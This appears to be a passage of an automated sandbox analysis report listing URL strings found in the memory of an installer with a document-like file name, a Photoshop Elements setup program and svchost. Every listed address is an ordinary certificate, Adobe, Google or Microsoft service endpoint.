Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000003.1340529682.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754120252.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: svchost.exe, 0000000E.00000002.3757994329.000001BD9F2F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3753812155.000001BD9DC13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: svchost.exe, 0000000E.00000002.3757420032.000001BD9F265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/B
Source: svchost.exe, 0000000E.00000002.3757804750.000001BD9F2EC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.3087516907.000001BD9F0FA000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.3186071531.000001BD9F0FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/ad3skwo2srs5xchyxzz6ujgnedha_9.52.0/gcmjk
Source: svchost.exe, 0000000E.00000003.3344719462.000001BD9F0F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adaazxebpgqt5dgoqptvhnyrkajq_20241104.690
Source: svchost.exe, 0000000E.00000003.2102854188.000001BD9F0F4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2080588463.000001BD9F0F2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620129906.000001BD9F0F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
Source: svchost.exe, 0000000E.00000003.3087516907.000001BD9F0FA000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3753812155.000001BD9DC13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620129906.000001BD9F0F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/nei
Source: svchost.exe, 0000000E.00000002.3757420032.000001BD9F265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/exe
Source: svchost.exe, 0000000E.00000002.3754142240.000001BD9DC5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/l
Source: svchost.exe, 0000000E.00000002.3757420032.000001BD9F265000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3757577504.000001BD9F2AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/
Source: svchost.exe, 0000000E.00000002.3758352246.000001BD9F330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/adaazxebpgqt5dgoqptvhnyrkajq_20241104.
Source: svchost.exe, 0000000E.00000003.2596741338.000001BD9F2FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8
Source: svchost.exe, 0000000E.00000002.3757577504.000001BD9F2AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80IO:ID:
Source: svchost.exe, 0000000E.00000003.1328046176.000001BDA3400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1290949826.000000000136F000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000003.1340529682.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754120252.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1290949826.000000000136F000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000003.1340529682.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754120252.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000003.1340529682.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754120252.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014822
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014823
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014824
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014825
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339572054.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763291568.0000000006250000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339416416.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3764681817.0000000009232000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009A39000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f4d
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339572054.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339416416.00000000053E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f4dQ;
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f4e
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340892950.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340316690.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339827960.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340065858.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.00000000068F0000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3764681817.0000000009232000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009A39000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f4f
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339827960.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340065858.0000000005418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f4fdflt
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3764681817.0000000009232000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.0000000006CB0000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009A39000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f50
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340892950.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340316690.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.00000000068F0000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3764681817.0000000009232000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009A39000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f51
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1318073315.00000000053CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f51li
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	String found in binary or memory: http://typekit.com/eulas/000000000000000000014f52
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://cc-api-data-stage.adobe.io/ingest
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.0000000001377000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://cc-api-data.adobe.io/ingest
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.00000000068F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cc-api-data.adobe.io/ingest/?api_key=hdbs
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1529836245.000000000BA1F000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3762015475.0000000005C35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://delegated-or2.cloud.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3775857049.000000000C8C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delegated-or2.cloud.adobe.ioO.https://delegated-or2.cloud.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3775857049.000000000C8C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delegated-stage-or2.stage.cloud.adobe.
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3762015475.0000000005C35000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3777002946.000000000D006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://delegated-stage-or2.stage.cloud.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3775857049.000000000C8C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delegated-stage-or2.stage.cloud.adobe.ioY
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3762015475.0000000005C35000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3777002946.000000000D006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://delegated-stage-va6.stage.cloud.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3775857049.000000000C8C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delegated-stage-va6.stage.cloud.adobe.ioO.https://delegated-stage-va6.stage.cloud.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1529836245.000000000BA1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://delegated-va6.cloud.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3775857049.000000000C8C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delegated-va6.cloud.adobe.ioO.https://delegated-va6.cloud.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3762015475.0000000005C35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://delegated-va6.cloud.adobe.iohttps://ims-na1.adobelogin.com/imsd
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763050320.0000000006167000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delegated.adobelogin.com/(
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.00000000012CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delegated.adobelogin.comity
Source: svchost.exe, 0000000E.00000003.1328046176.000001BDA3459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1328046176.000001BDA3400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: chromecache_240.18.dr	String found in binary or memory: https://github.com/WebReflection/url-search-params/blob/master/README.md#ios-10--other-platforms-bug
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://ims-na1-stg1.adobelogin.com
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3762015475.0000000005C35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ims-na1-stg1.adobelogin.com/ims
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3775857049.000000000C8C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ims-na1-stg1.adobelogin.com/imsj.prod
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763291568.0000000006250000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3758086632.0000000004710000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.0000000006F0E000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009867000.00000004.00000020.00020000.00000000.sdmp, HDInstaller.log.10.dr	String found in binary or memory: https://ims-na1.adobelogin.com/ims/authorize/v3?client_id=CC_HD_ESD_5_2&response_type=device&hashed_
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765274666.0000000009700000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755388883.0000000001250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&amp;scope=allow_ac_dt_excha
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763050320.0000000006167000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755388883.0000000001250000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3757122196.0000000003B03000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3757122196.0000000003B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Cop
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.0000000001377000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://ims-prod06.adobelogin.com
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.0000000001377000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ims-prod06.adobelogin.comcb
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.000000000132D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ims-prod07.adobelogin.com
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://ims-prod07.adobelogin.comBaseUserProfilep8e-xo88uZdECZX33TmXbouglqWnMMEOY-gsf43446bc-7009-41
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-cops-dev.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-cops-stage.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.000000000132D000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-cops.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-cops.adobe.iohttps://lcs-cops-stage.adobe.iohttps://lcs-cops-dev.adobe.iohttps://lcs-ule
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-robs-dev.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-robs-stage.adobe.io
